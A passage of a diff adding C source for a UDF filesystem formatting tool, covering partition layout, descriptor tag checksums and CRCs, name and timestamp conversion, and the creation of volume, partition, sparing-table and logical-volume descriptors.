first_lba; + layout.part_size_lba = last_lba - layout.part_start_lba; + + /* determine partition selection for data and metadata */ + context.data_part = 0; + context.metadata_part = context.data_part; + if ((format_flags & FORMAT_VAT) || (format_flags & FORMAT_META)) + context.metadata_part = context.data_part + 1; + context.fids_part = context.metadata_part; + if (format_flags & FORMAT_VAT) + context.fids_part = context.data_part; + + /* + * Pick fixed logical space sector numbers for main FSD, rootdir and + * unallocated space. The reason for this pre-allocation is that they + * are referenced in the volume descriptor sequence and hence can't be + * allocated later. + */ + pos = 0; + layout.unalloc_space = pos; + pos += layout.alloc_bitmap_dscr_size; + + /* claim metadata descriptors and partition space [UDF 2.2.10] */ + if (format_flags & FORMAT_META) { + /* note: all in backing partition space */ + layout.meta_file = pos++; + layout.meta_bitmap = 0xffffffff; + if (!(context.format_flags & FORMAT_READONLY)) + layout.meta_bitmap = pos++; + layout.meta_mirror = layout.part_size_lba-1; + layout.meta_alignment = MAX(blockingnr, spareable_blockingnr); + layout.meta_blockingnr = MAX(layout.meta_alignment, 32); + + /* calculate our partition length and store in sectors */ + layout.meta_part_size_lba = layout.part_size_lba * + ((float) context.meta_perc / 100.0); + layout.meta_part_size_lba = MAX(layout.meta_part_size_lba, 32); + layout.meta_part_size_lba = + UDF_ROUNDDOWN(layout.meta_part_size_lba, layout.meta_blockingnr); + + if (!(context.format_flags & FORMAT_READONLY)) { + /* metadata partition free space bitmap */ + bytes = udf_space_bitmap_len(layout.meta_part_size_lba); + layout.meta_bitmap_dscr_size = udf_bytes_to_sectors(bytes); + + layout.meta_bitmap_space = pos; + pos += layout.meta_bitmap_dscr_size; + } + + layout.meta_part_start_lba = UDF_ROUNDUP(pos, layout.meta_alignment); + pos = layout.meta_part_start_lba + layout.meta_part_size_lba; + } + + if (context.metadata_part == context.data_part) { + mpos = pos; + layout.fsd = mpos; mpos += 1; + layout.rootdir = mpos; + pos = mpos; + } else { + mpos = 0; + layout.fsd = mpos; mpos += 1; + layout.rootdir = mpos; + } + + /* pos and mpos now refer to the rootdir block */ + context.alloc_pos[context.data_part] = pos; + context.alloc_pos[context.metadata_part] = mpos; + + udf_dump_layout(); + + kbsize = (uint64_t) last_lba * sector_size; + printf("Total space on this medium approx. " + "%llu KiB, %llu MiB\n", + kbsize/1024, kbsize/(1024*1024)); + kbsize = (uint64_t)(layout.part_size_lba - layout.alloc_bitmap_dscr_size + - layout.meta_bitmap_dscr_size) * sector_size; + printf("Recordable free space on this volume approx. " + "%llu KiB, %llu MiB\n\n", + kbsize/1024, kbsize/(1024*1024)); + + return 0; +} + + +/* + * Check if the blob starts with a good UDF tag. Tags are protected by a + * checksum over the header, except one byte at position 4 that is the + * checksum itself. + */ +int +udf_check_tag(void *blob) +{ + struct desc_tag *tag = blob; + uint8_t *pos, sum, cnt; + + /* check TAG header checksum */ + pos = (uint8_t *) tag; + sum = 0; + + for(cnt = 0; cnt < 16; cnt++) { + if (cnt != 4) + sum += *pos; + pos++; + } + if (sum != tag->cksum) { + /* bad tag header checksum; this is not a valid tag */ + return EINVAL; + } + + return 0; +} + + +/* + * check tag payload will check descriptor CRC as specified. + * If the descriptor is too long, it will return EIO otherwise EINVAL. + */ +int +udf_check_tag_payload(void *blob, uint32_t max_length) +{ + struct desc_tag *tag = blob; + uint16_t crc, crc_len; + + crc_len = udf_rw16(tag->desc_crc_len); + + /* check payload CRC if applicable */ + if (crc_len == 0) + return 0; + + if (crc_len > max_length) + return EIO; + + crc = udf_cksum(((uint8_t *) tag) + UDF_DESC_TAG_LENGTH, crc_len); + if (crc != udf_rw16(tag->desc_crc)) { + /* bad payload CRC; this is a broken tag */ + return EINVAL; + } + + return 0; +} + + +int +udf_check_tag_and_location(void *blob, uint32_t location) +{ + struct desc_tag *tag = blob; + + if (udf_check_tag(blob)) + return 1; + if (udf_rw32(tag->tag_loc) != location) + return 1; + return 0; +} + + +int +udf_validate_tag_sum(union dscrptr *dscr) +{ + struct desc_tag *tag = &dscr->tag; + uint8_t *pos, sum, cnt; + + /* calculate TAG header checksum */ + pos = (uint8_t *) tag; + sum = 0; + + for (cnt = 0; cnt < 16; cnt++) { + if (cnt != 4) sum += *pos; + pos++; + }; + tag->cksum = sum; /* 8 bit */ + + return 0; +} + + +/* assumes sector number of descriptor to be already present */ +int +udf_validate_tag_and_crc_sums(union dscrptr *dscr) +{ + struct desc_tag *tag = &dscr->tag; + uint16_t crc; + + /* check payload CRC if applicable */ + if (udf_rw16(tag->desc_crc_len) > 0) { + crc = udf_cksum(((uint8_t *) tag) + UDF_DESC_TAG_LENGTH, + udf_rw16(tag->desc_crc_len)); + tag->desc_crc = udf_rw16(crc); + }; + + /* calculate TAG header checksum */ + return udf_validate_tag_sum(dscr); +} + + +void +udf_inittag(struct desc_tag *tag, int tagid, uint32_t loc) +{ + tag->id = udf_rw16(tagid); + tag->descriptor_ver = udf_rw16(context.dscrver); + tag->cksum = 0; + tag->reserved = 0; + tag->serial_num = udf_rw16(context.serialnum); + tag->tag_loc = udf_rw32(loc); +} + + +int +udf_create_anchor(int num) +{ + struct anchor_vdp *avdp; + uint32_t vds1_extent_len = layout.vds1_size * context.sector_size; + uint32_t vds2_extent_len = layout.vds2_size * context.sector_size; + + avdp = context.anchors[num]; + if (!avdp) + if ((avdp = calloc(1, context.sector_size)) == NULL) + return ENOMEM; + + udf_inittag(&avdp->tag, TAGID_ANCHOR, layout.anchors[num]); + + avdp->main_vds_ex.loc = udf_rw32(layout.vds1); + avdp->main_vds_ex.len = udf_rw32(vds1_extent_len); + + avdp->reserve_vds_ex.loc = udf_rw32(layout.vds2); + avdp->reserve_vds_ex.len = udf_rw32(vds2_extent_len); + + /* CRC length for an anchor is 512 - tag length; defined in Ecma 167 */ + avdp->tag.desc_crc_len = udf_rw16(512-UDF_DESC_TAG_LENGTH); + + context.anchors[num] = avdp; + return 0; +} + + +void +udf_create_terminator(union dscrptr *dscr, uint32_t loc) +{ + memset(dscr, 0, context.sector_size); + udf_inittag(&dscr->tag, TAGID_TERM, loc); + + /* CRC length for an anchor is 512 - tag length; defined in Ecma 167 */ + dscr->tag.desc_crc_len = udf_rw16(512-UDF_DESC_TAG_LENGTH); +} + + +void +udf_osta_charset(struct charspec *charspec) +{ + memset(charspec, 0, sizeof(*charspec)); + charspec->type = 0; + strcpy((char *) charspec->inf, "OSTA Compressed Unicode"); +} + + +/* ---- shared from kernel's udf_subr.c, slightly modified ---- */ +void +udf_to_unix_name(char *result, int result_len, char *id, int len, + struct charspec *chsp) +{ + uint16_t *raw_name, *unix_name; + uint16_t *inchp, ch; + char *outchp; + const char *osta_id = "OSTA Compressed Unicode"; + int ucode_chars, nice_uchars, is_osta_typ0, nout; + + raw_name = malloc(2048 * sizeof(uint16_t)); + assert(raw_name); + + unix_name = raw_name + 1024; /* split space in half */ + assert(sizeof(char) == sizeof(uint8_t)); + outchp = result; + + is_osta_typ0 = (chsp->type == 0); + is_osta_typ0 &= (strcmp((char *) chsp->inf, osta_id) == 0); + if (is_osta_typ0) { + /* TODO clean up */ + *raw_name = *unix_name = 0; + ucode_chars = udf_UncompressUnicode(len, (uint8_t *) id, raw_name); + ucode_chars = MIN(ucode_chars, UnicodeLength((unicode_t *) raw_name)); + nice_uchars = UDFTransName(unix_name, raw_name, ucode_chars); + /* output UTF8 */ + for (inchp = unix_name; nice_uchars>0; inchp++, nice_uchars--) { + ch = *inchp; + nout = wput_utf8(outchp, result_len, ch); + outchp += nout; result_len -= nout; + if (!ch) break; + } + *outchp++ = 0; + } else { + /* assume 8bit char length byte latin-1 */ + assert(*id == 8); + assert(strlen((char *) (id+1)) <= NAME_MAX); + memcpy((char *) result, (char *) (id+1), strlen((char *) (id+1))); + } + free(raw_name); +} + + +void +unix_to_udf_name(char *result, uint8_t *result_len, char const *name, int name_len, + struct charspec *chsp) +{ + uint16_t *raw_name; + uint16_t *outchp; + const char *inchp; + const char *osta_id = "OSTA Compressed Unicode"; + int udf_chars, is_osta_typ0, bits; + size_t cnt; + + /* allocate temporary unicode-16 buffer */ + raw_name = malloc(1024); + assert(raw_name); + + /* convert utf8 to unicode-16 */ + *raw_name = 0; + inchp = name; + outchp = raw_name; + bits = 8; + for (cnt = name_len, udf_chars = 0; cnt;) { + *outchp = wget_utf8(&inchp, &cnt); + if (*outchp > 0xff) + bits=16; + outchp++; + udf_chars++; + } + /* null terminate just in case */ + *outchp++ = 0; + + is_osta_typ0 = (chsp->type == 0); + is_osta_typ0 &= (strcmp((char *) chsp->inf, osta_id) == 0); + if (is_osta_typ0) { + udf_chars = udf_CompressUnicode(udf_chars, bits, + (unicode_t *) raw_name, + (byte *) result); + } else { + printf("unix to udf name: no CHSP0 ?\n"); + /* XXX assume 8bit char length byte latin-1 */ + *result++ = 8; udf_chars = 1; + strncpy(result, name + 1, name_len); + udf_chars += name_len; + } + *result_len = udf_chars; + free(raw_name); +} + + +/* first call udf_set_regid and then the suffix */ +void +udf_set_regid(struct regid *regid, char const *name) +{ + memset(regid, 0, sizeof(*regid)); + regid->flags = 0; /* not dirty and not protected */ + strcpy((char *) regid->id, name); +} + + +void +udf_add_domain_regid(struct regid *regid) +{ + uint16_t *ver; + + ver = (uint16_t *) regid->id_suffix; + *ver = udf_rw16(context.min_udf); +} + + +void +udf_add_udf_regid(struct regid *regid) +{ + uint16_t *ver; + + ver = (uint16_t *) regid->id_suffix; + *ver = udf_rw16(context.min_udf); + + regid->id_suffix[2] = 4; /* unix */ + regid->id_suffix[3] = 8; /* NetBSD */ +} + + +void +udf_add_impl_regid(struct regid *regid) +{ + regid->id_suffix[0] = 4; /* unix */ + regid->id_suffix[1] = 8; /* NetBSD */ +} + + +void +udf_add_app_regid(struct regid *regid) +{ + regid->id_suffix[0] = context.app_version_main; + regid->id_suffix[1] = context.app_version_sub; +} + + +/* + * Timestamp to timespec conversion code is taken with small modifications + * from FreeBSD /sys/fs/udf by Scott Long + */ + +static int mon_lens[2][12] = { + {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}, + {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31} +}; + + +static int +udf_isaleapyear(int year) +{ + int i; + + i = (year % 4) ? 0 : 1; + i &= (year % 100) ? 1 : 0; + i |= (year % 400) ? 0 : 1; + + return i; +} + + +void +udf_timestamp_to_timespec(struct timestamp *timestamp, struct timespec *timespec) +{ + uint32_t usecs, secs, nsecs; + uint16_t tz; + int i, lpyear, daysinyear, year; + + timespec->tv_sec = secs = 0; + timespec->tv_nsec = nsecs = 0; + + /* + * DirectCD seems to like using bogus year values. + * Distrust time->month especially, since it will be used for an array + * index. + */ + year = udf_rw16(timestamp->year); + if ((year < 1970) || (timestamp->month > 12)) { + return; + } + + /* Calculate the time and day */ + usecs = timestamp->usec + 100*timestamp->hund_usec + 10000*timestamp->centisec; + nsecs = usecs * 1000; + secs = timestamp->second; + secs += timestamp->minute * 60; + secs += timestamp->hour * 3600; + secs += (timestamp->day-1) * 3600 * 24; /* day : 1-31 */ + + /* Calclulate the month */ + lpyear = udf_isaleapyear(year); + for (i = 1; i < timestamp->month; i++) + secs += mon_lens[lpyear][i-1] * 3600 * 24; /* month: 1-12 */ + + for (i = 1970; i < year; i++) { + daysinyear = udf_isaleapyear(i) + 365 ; + secs += daysinyear * 3600 * 24; + } + + /* + * Calculate the time zone. The timezone is 12 bit signed 2's + * compliment, so we gotta do some extra magic to handle it right. + */ + tz = udf_rw16(timestamp->type_tz); + tz &= 0x0fff; /* only lower 12 bits are significant */ + if (tz & 0x0800) /* sign extention */ + tz |= 0xf000; + + /* TODO check timezone conversion */ +#if 1 + /* check if we are specified a timezone to convert */ + if (udf_rw16(timestamp->type_tz) & 0x1000) + if ((int16_t) tz != -2047) + secs -= (int16_t) tz * 60; +#endif + timespec->tv_sec = secs; + timespec->tv_nsec = nsecs; +} + + +/* + * Fill in timestamp structure based on clock_gettime(). Time is reported back + * as a time_t accompanied with a nano second field. + * + * The husec, usec and csec could be relaxed in type. + */ +void +udf_timespec_to_timestamp(struct timespec *timespec, struct timestamp *timestamp) +{ + struct tm tm; + uint64_t husec, usec, csec; + + memset(timestamp, 0, sizeof(*timestamp)); + gmtime_r(×pec->tv_sec, &tm); + + /* + * Time type and time zone : see ECMA 1/7.3, UDF 2., 2.1.4.1, 3.1.1. + * + * Lower 12 bits are two complement signed timezone offset if bit 12 + * (method 1) is clear. Otherwise if bit 12 is set, specify timezone + * offset to -2047 i.e. unsigned `zero' + */ + + /* set method 1 for CUT/GMT */ + timestamp->type_tz = udf_rw16((1<<12) + 0); + timestamp->year = udf_rw16(tm.tm_year + 1900); + timestamp->month = tm.tm_mon + 1; /* `tm' uses 0..11 for months */ + timestamp->day = tm.tm_mday; + timestamp->hour = tm.tm_hour; + timestamp->minute = tm.tm_min; + timestamp->second = tm.tm_sec; + + usec = (timespec->tv_nsec + 500) / 1000; /* round */ + husec = usec / 100; + usec -= husec * 100; /* only 0-99 in usec */ + csec = husec / 100; /* only 0-99 in csec */ + husec -= csec * 100; /* only 0-99 in husec */ + + /* in rare cases there is overflow in csec */ + csec = MIN(99, csec); + husec = MIN(99, husec); + usec = MIN(99, usec); + + timestamp->centisec = csec; + timestamp->hund_usec = husec; + timestamp->usec = usec; +} + + +static void +udf_set_timestamp(struct timestamp *timestamp, time_t value) +{ + struct timespec t; + + memset(&t, 0, sizeof(struct timespec)); + t.tv_sec = value; + t.tv_nsec = 0; + udf_timespec_to_timestamp(&t, timestamp); +} + + +static uint32_t +unix_mode_to_udf_perm(mode_t mode) +{ + uint32_t perm; + + perm = ((mode & S_IRWXO) ); + perm |= ((mode & S_IRWXG) << 2); + perm |= ((mode & S_IRWXU) << 4); + perm |= ((mode & S_IWOTH) << 3); + perm |= ((mode & S_IWGRP) << 5); + perm |= ((mode & S_IWUSR) << 7); + + return perm; +} + +/* end of copied code */ + + +void +udf_encode_osta_id(char *osta_id, uint16_t len, char *text) +{ + struct charspec osta_charspec; + uint8_t result_len; + + memset(osta_id, 0, len); + if (!text || (strlen(text) == 0)) return; + + udf_osta_charset(&osta_charspec); + unix_to_udf_name(osta_id, &result_len, text, strlen(text), + &osta_charspec); + + /* Ecma 167/7.2.13 states that length is recorded in the last byte */ + osta_id[len-1] = strlen(text)+1; +} + + +void +udf_set_timestamp_now(struct timestamp *timestamp) +{ + struct timespec now; + +#ifdef CLOCK_REALTIME + (void)clock_gettime(CLOCK_REALTIME, &now); +#else + struct timeval time_of_day; + + (void)gettimeofday(&time_of_day, NULL); + now.tv_sec = time_of_day.tv_sec; + now.tv_nsec = time_of_day.tv_usec * 1000; +#endif + udf_timespec_to_timestamp(&now, timestamp); +} + + +int +udf_create_primaryd(void) +{ + struct pri_vol_desc *pri; + uint16_t crclen; + + pri = calloc(1, context.sector_size); + if (pri == NULL) + return ENOMEM; + + memset(pri, 0, context.sector_size); + udf_inittag(&pri->tag, TAGID_PRI_VOL, /* loc */ 0); + pri->seq_num = udf_rw32(context.vds_seq); context.vds_seq++; + + pri->pvd_num = udf_rw32(0); /* default serial */ + udf_encode_osta_id(pri->vol_id, 32, context.primary_name); + + /* set defaults for single disc volumes as UDF prescribes */ + pri->vds_num = udf_rw16(1); + pri->max_vol_seq = udf_rw16(1); + pri->ichg_lvl = udf_rw16(2); + pri->max_ichg_lvl = udf_rw16(3); + pri->flags = udf_rw16(0); + + pri->charset_list = udf_rw32(1); /* only CS0 */ + pri->max_charset_list = udf_rw32(1); /* only CS0 */ + + udf_encode_osta_id(pri->volset_id, 128, context.volset_name); + udf_osta_charset(&pri->desc_charset); + udf_osta_charset(&pri->explanatory_charset); + + udf_set_regid(&pri->app_id, context.app_name); + udf_add_app_regid(&pri->app_id); + + udf_set_regid(&pri->imp_id, context.impl_name); + udf_add_impl_regid(&pri->imp_id); + + udf_set_timestamp_now(&pri->time); + + crclen = sizeof(struct pri_vol_desc) - UDF_DESC_TAG_LENGTH; + pri->tag.desc_crc_len = udf_rw16(crclen); + + context.primary_vol = pri; + + return 0; +} + + +/* + * BUGALERT: some rogue implementations use random physical partition + * numbers to break other implementations so lookup the number. + */ + +uint16_t +udf_find_raw_phys(uint16_t raw_phys_part) +{ + struct part_desc *part; + uint16_t phys_part; + + for (phys_part = 0; phys_part < UDF_PARTITIONS; phys_part++) { + part = context.partitions[phys_part]; + if (part == NULL) + break; + if (udf_rw16(part->part_num) == raw_phys_part) + break; + } + return phys_part; +} + + +/* XXX no support for unallocated or freed space tables yet (!) */ +int +udf_create_partitiond(int part_num) +{ + struct part_desc *pd; + struct part_hdr_desc *phd; + uint32_t sector_size, bitmap_bytes; + uint16_t crclen; + int part_accesstype = context.media_accesstype; + + sector_size = context.sector_size; + bitmap_bytes = layout.alloc_bitmap_dscr_size * sector_size; + + if (context.partitions[part_num]) + errx(1, "internal error, partition %d already defined in %s", + part_num, __func__); + + pd = calloc(1, context.sector_size); + if (pd == NULL) + return ENOMEM; + phd = &pd->_impl_use.part_hdr; + + udf_inittag(&pd->tag, TAGID_PARTITION, /* loc */ 0); + pd->seq_num = udf_rw32(context.vds_seq); context.vds_seq++; + + pd->flags = udf_rw16(1); /* allocated */ + pd->part_num = udf_rw16(part_num); /* only one physical partition */ + + if (context.dscrver == 2) { + udf_set_regid(&pd->contents, "+NSR02"); + } else { + udf_set_regid(&pd->contents, "+NSR03"); + } + udf_add_app_regid(&pd->contents); + + phd->unalloc_space_bitmap.len = udf_rw32(bitmap_bytes); + phd->unalloc_space_bitmap.lb_num = udf_rw32(layout.unalloc_space); + + if (layout.freed_space) { + phd->freed_space_bitmap.len = udf_rw32(bitmap_bytes); + phd->freed_space_bitmap.lb_num = udf_rw32(layout.freed_space); + } + + pd->access_type = udf_rw32(part_accesstype); + pd->start_loc = udf_rw32(layout.part_start_lba); + pd->part_len = udf_rw32(layout.part_size_lba); + + udf_set_regid(&pd->imp_id, context.impl_name); + udf_add_impl_regid(&pd->imp_id); + + crclen = sizeof(struct part_desc) - UDF_DESC_TAG_LENGTH; + pd->tag.desc_crc_len = udf_rw16(crclen); + + context.partitions[part_num] = pd; + + return 0; +} + + +int +udf_create_unalloc_spaced(void) +{ + struct unalloc_sp_desc *usd; + uint16_t crclen; + + usd = calloc(1, context.sector_size); + if (usd == NULL) + return ENOMEM; + + udf_inittag(&usd->tag, TAGID_UNALLOC_SPACE, /* loc */ 0); + usd->seq_num = udf_rw32(context.vds_seq); context.vds_seq++; + + /* no default entries */ + usd->alloc_desc_num = udf_rw32(0); /* no entries */ + + crclen = sizeof(struct unalloc_sp_desc) - sizeof(struct extent_ad); + crclen -= UDF_DESC_TAG_LENGTH; + usd->tag.desc_crc_len = udf_rw16(crclen); + + context.unallocated = usd; + + return 0; +} + + +static int +udf_create_base_logical_dscr(void) +{ + struct logvol_desc *lvd; + uint32_t sector_size; + uint16_t crclen; + + sector_size = context.sector_size; + + lvd = calloc(1, sector_size); + if (lvd == NULL) + return ENOMEM; + + udf_inittag(&lvd->tag, TAGID_LOGVOL, /* loc */ 0); + lvd->seq_num = udf_rw32(context.vds_seq); context.vds_seq++; + + udf_osta_charset(&lvd->desc_charset); + udf_encode_osta_id(lvd->logvol_id, 128, context.logvol_name); + lvd->lb_size = udf_rw32(sector_size); + + udf_set_regid(&lvd->domain_id, "*OSTA UDF Compliant"); + udf_add_domain_regid(&lvd->domain_id); + + /* no partition mappings/entries yet */ + lvd->mt_l = udf_rw32(0); + lvd->n_pm = udf_rw32(0); + + udf_set_regid(&lvd->imp_id, context.impl_name); + udf_add_impl_regid(&lvd->imp_id); + + lvd->integrity_seq_loc.loc = udf_rw32(layout.lvis); + lvd->integrity_seq_loc.len = udf_rw32(layout.lvis_size * sector_size); + + /* just one fsd for now */ + lvd->lv_fsd_loc.len = udf_rw32(sector_size); + lvd->lv_fsd_loc.loc.part_num = udf_rw16(context.metadata_part); + lvd->lv_fsd_loc.loc.lb_num = udf_rw32(layout.fsd); + + crclen = sizeof(struct logvol_desc) - 1 - UDF_DESC_TAG_LENGTH; + lvd->tag.desc_crc_len = udf_rw16(crclen); + + context.logical_vol = lvd; + context.vtop_tp[UDF_VTOP_RAWPART] = UDF_VTOP_TYPE_RAW; + + return 0; +} + + +static void +udf_add_logvol_part_physical(uint16_t phys_part) +{ + struct logvol_desc *logvol = context.logical_vol; + union udf_pmap *pmap; + uint8_t *pmap_pos; + uint16_t crclen; + uint32_t pmap1_size, log_part; + + log_part = udf_rw32(logvol->n_pm); + pmap_pos = logvol->maps + udf_rw32(logvol->mt_l); + pmap1_size = sizeof(struct part_map_1); + + pmap = (union udf_pmap *) pmap_pos; + pmap->pm1.type = 1; + pmap->pm1.len = sizeof(struct part_map_1); + pmap->pm1.vol_seq_num = udf_rw16(1); /* no multi-volume */ + pmap->pm1.part_num = udf_rw16(phys_part); + + context.vtop [log_part] = phys_part; + context.vtop_tp [log_part] = UDF_VTOP_TYPE_PHYS; + context.part_size[log_part] = layout.part_size_lba; + context.part_free[log_part] = layout.part_size_lba; + + /* increment number of partitions and length */ + logvol->n_pm = udf_rw32(log_part + 1); + logvol->mt_l = udf_rw32(udf_rw32(logvol->mt_l) + pmap1_size); + + crclen = udf_rw16(logvol->tag.desc_crc_len) + pmap1_size; + logvol->tag.desc_crc_len = udf_rw16(crclen); +} + + +static void +udf_add_logvol_part_virtual(uint16_t phys_part) +{ + union udf_pmap *pmap; + struct logvol_desc *logvol = context.logical_vol; + uint8_t *pmap_pos; + uint16_t crclen; + uint32_t pmapv_size, log_part; + + log_part = udf_rw32(logvol->n_pm); + pmap_pos = logvol->maps + udf_rw32(logvol->mt_l); + pmapv_size = sizeof(struct part_map_2); + + pmap = (union udf_pmap *) pmap_pos; + pmap->pmv.type = 2; + pmap->pmv.len = pmapv_size; + + udf_set_regid(&pmap->pmv.id, "*UDF Virtual Partition"); + udf_add_udf_regid(&pmap->pmv.id); + + pmap->pmv.vol_seq_num = udf_rw16(1); /* no multi-volume */ + pmap->pmv.part_num = udf_rw16(phys_part); + + context.vtop [log_part] = phys_part; + context.vtop_tp [log_part] = UDF_VTOP_TYPE_VIRT; + context.part_size[log_part] = 0xffffffff; + context.part_free[log_part] = 0xffffffff; + + /* increment number of partitions and length */ + logvol->n_pm = udf_rw32(log_part + 1); + logvol->mt_l = udf_rw32(udf_rw32(logvol->mt_l) + pmapv_size); + + crclen = udf_rw16(logvol->tag.desc_crc_len) + pmapv_size; + logvol->tag.desc_crc_len = udf_rw16(crclen); +} + + +/* sparing table size is in bytes */ +static void +udf_add_logvol_part_spareable(uint16_t phys_part) +{ + union udf_pmap *pmap; + struct logvol_desc *logvol = context.logical_vol; + uint32_t *st_pos, spareable_bytes, pmaps_size; + uint8_t *pmap_pos, num; + uint16_t crclen; + uint32_t log_part; + + log_part = udf_rw32(logvol->n_pm); + pmap_pos = logvol->maps + udf_rw32(logvol->mt_l); + pmaps_size = sizeof(struct part_map_2); + spareable_bytes = layout.spareable_area_size * context.sector_size; + + pmap = (union udf_pmap *) pmap_pos; + pmap->pms.type = 2; + pmap->pms.len = pmaps_size; + + udf_set_regid(&pmap->pmv.id, "*UDF Sparable Partition"); + udf_add_udf_regid(&pmap->pmv.id); + + pmap->pms.vol_seq_num = udf_rw16(1); /* no multi-volume */ + pmap->pms.part_num = udf_rw16(phys_part); + + pmap->pms.packet_len = udf_rw16(layout.spareable_blockingnr); + pmap->pms.st_size = udf_rw32(spareable_bytes); + + /* enter spare tables */ + st_pos = &pmap->pms.st_loc[0]; + *st_pos++ = udf_rw32(layout.spt_1); + *st_pos++ = udf_rw32(layout.spt_2); + + num = 2; + if (layout.spt_2 == 0) num--; + if (layout.spt_1 == 0) num--; + pmap->pms.n_st = num; /* 8 bit */ + + context.vtop [log_part] = phys_part; + context.vtop_tp [log_part] = UDF_VTOP_TYPE_SPAREABLE; + context.part_size[log_part] = layout.part_size_lba; + context.part_free[log_part] = layout.part_size_lba; + + /* increment number of partitions and length */ + logvol->n_pm = udf_rw32(log_part + 1); + logvol->mt_l = udf_rw32(udf_rw32(logvol->mt_l) + pmaps_size); + + crclen = udf_rw16(logvol->tag.desc_crc_len) + pmaps_size; + logvol->tag.desc_crc_len = udf_rw16(crclen); +} + + +int +udf_create_sparing_tabled(void) +{ + struct udf_sparing_table *spt; + struct spare_map_entry *sme; + uint32_t loc, cnt; + uint32_t crclen; /* XXX: should be 16; need to detect overflow */ + + spt = calloc(context.sector_size, layout.sparing_table_dscr_lbas); + if (spt == NULL) + return ENOMEM; + + /* a sparing table descriptor is a whole spareable_blockingnr sectors */ + udf_inittag(&spt->tag, TAGID_SPARING_TABLE, /* loc */ 0); + + udf_set_regid(&spt->id, "*UDF Sparing Table"); + udf_add_udf_regid(&spt->id); + + spt->rt_l = udf_rw16(layout.spareable_blocks); + spt->seq_num = udf_rw32(0); /* first generation */ + + for (cnt = 0; cnt < layout.spareable_blocks; cnt++) { + sme = &spt->entries[cnt]; + loc = layout.spareable_area + cnt * layout.spareable_blockingnr; + sme->org = udf_rw32(0xffffffff); /* open for reloc */ + sme->map = udf_rw32(loc); + } + + /* calculate crc len for actual size */ + crclen = sizeof(struct udf_sparing_table) - UDF_DESC_TAG_LENGTH; + crclen += (layout.spareable_blocks-1) * sizeof(struct spare_map_entry); + + assert(crclen <= UINT16_MAX); + spt->tag.desc_crc_len = udf_rw16((uint16_t)crclen); + + context.sparing_table = spt; + + return 0; +} + + +static void +udf_add_logvol_part_meta(uint16_t phys_part) +{ + union udf_pmap *pmap; + struct logvol_desc *logvol = context.logical_vol; + uint8_t *pmap_pos; + uint32_t pmapv_size, log_part; + uint16_t crclen; + + log_part = udf_rw32(logvol->n_pm); + pmap_pos = logvol->maps + udf_rw32(logvol->mt_l); + pmapv_size = sizeof(struct part_map_2); + + pmap = (union udf_pmap *) pmap_pos; + pmap->pmm.type = 2; + pmap->pmm.len = pmapv_size; + + udf_set_regid(&pmap->pmm.id, "*UDF Metadata Partition"); + udf_add_udf_regid(&pmap->pmm.id); + + pmap->pmm.vol_seq_num = udf_rw16(1); /* no multi-volume */ + pmap->pmm.part_num = udf_rw16(phys_part); + + /* fill in meta data file(s) and alloc/alignment unit sizes */ + pmap->pmm.meta_file_lbn = udf_rw32(layout.meta_file); + pmap->pmm.meta_mirror_file_lbn = udf_rw32(layout.meta_mirror); + pmap->pmm.meta_bitmap_file_lbn = udf_rw32(layout.meta_bitmap); + pmap->pmm.alloc_unit_size = udf_rw32(layout.meta_blockingnr); + pmap->pmm.alignment_unit_size = udf_rw16(layout.meta_alignment); + pmap->pmm.flags = 0; /* METADATA_DUPLICATED */ + + context.vtop [log_part] = phys_part; + context.vtop_tp [log_part] = UDF_VTOP_TYPE_META; + context.part_size[log_part] = layout.meta_part_size_lba; + context.part_free[log_part] = layout.meta_part_size_lba; + + /* increment number of partitions and length */ + logvol->n_pm = udf_rw32(log_part + 1); + logvol->mt_l = udf_rw32(udf_rw32(logvol->mt_l) + pmapv_size); + + crclen = udf_rw16(logvol->tag.desc_crc_len) + pmapv_size; + logvol->tag.desc_crc_len = udf_rw16(crclen); +} + + +int +udf_create_logical_dscr(void) +{ + int error; + + if ((error = udf_create_base_logical_dscr())) + return error; + + /* we pass data_part for there might be a read-only part one day */ + if (context.format_flags & FORMAT_SPAREABLE) { + /* spareable partition mapping has no physical mapping */ + udf_add_logvol_part_spareable(context.data_part); + } else { + udf_add_logvol_part_physical(context.data_part); + } + + if (context.format_flags & FORMAT_VAT) { + /* add VAT virtual mapping; reflects on datapart */ + udf_add_logvol_part_virtual(context.data_part); + } + if (context.format_flags & FORMAT_META) { + /* add META data mapping; reflects on datapart */ + udf_add_logvol_part_meta(context.data_part); + } + + return 0; +} + + +int +udf_create_impvold(char *field1, char *field2, char *field3) +{ + struct impvol_desc *ivd; + struct udf_lv_info *lvi; + uint16_t crclen; + + ivd = calloc(1, context.sector_size); + if (ivd == NULL) + return ENOMEM; + lvi = &ivd->_impl_use.lv_info; + + udf_inittag(&ivd->tag, TAGID_IMP_VOL, /* loc */ 0); + ivd->seq_num = udf_rw32(context.vds_seq); context.vds_seq++; + + udf_set_regid(&ivd->impl_id, "*UDF LV Info"); + udf_add_udf_regid(&ivd->impl_id); + + /* fill in UDF specific part */ + udf_osta_charset(&lvi->lvi_charset); + udf_encode_osta_id(lvi->logvol_id, 128, context.logvol_name); + + udf_encode_osta_id(lvi->lvinfo1, 36, field1); + udf_encode_osta_id(lvi->lvinfo2, 36, field2); + udf_encode_osta_id(lvi->lvinfo3, 36, field3); + + udf_set_regid(&lvi->impl_id, context.impl_name); + udf_add_impl_regid(&lvi->impl_id); + + crclen = sizeof(struct impvol_desc) - UDF_DESC_TAG_LENGTH; + ivd->tag.desc_crc_len = udf_rw16(crclen); + + context.implementation = ivd; + + return 0; +} + + +/* XXX might need to be sanitised a bit */ +void +udf_update_lvintd(int type) +{ + struct logvol_int_desc *lvid; + struct udf_logvol_info *lvinfo; + struct logvol_desc *logvol; + uint32_t *pos; + uint32_t cnt, num_partmappings; + uint32_t crclen; /* XXX: should be 16; need to detect overflow */ + + lvid = context.logvol_integrity; + logvol = context.logical_vol; + assert(lvid); + assert(logvol); + + lvid->integrity_type = udf_rw32(type); + udf_set_timestamp_now(&lvid->time); + + /* initialise lvinfo just in case its not set yet */ + num_partmappings = udf_rw32(logvol->n_pm); + assert(num_partmappings > 0); + + lvinfo = (struct udf_logvol_info *) + (lvid->tables + num_partmappings * 2); + context.logvol_info = lvinfo; + + udf_set_regid(&lvinfo->impl_id, context.impl_name); + udf_add_impl_regid(&lvinfo->impl_id); + + if (type == UDF_INTEGRITY_CLOSED) { + lvinfo->num_files = udf_rw32(context.num_files); + lvinfo->num_directories = udf_rw32(context.num_directories); + + lvid->lvint_next_unique_id = udf_rw64(context.unique_id); + 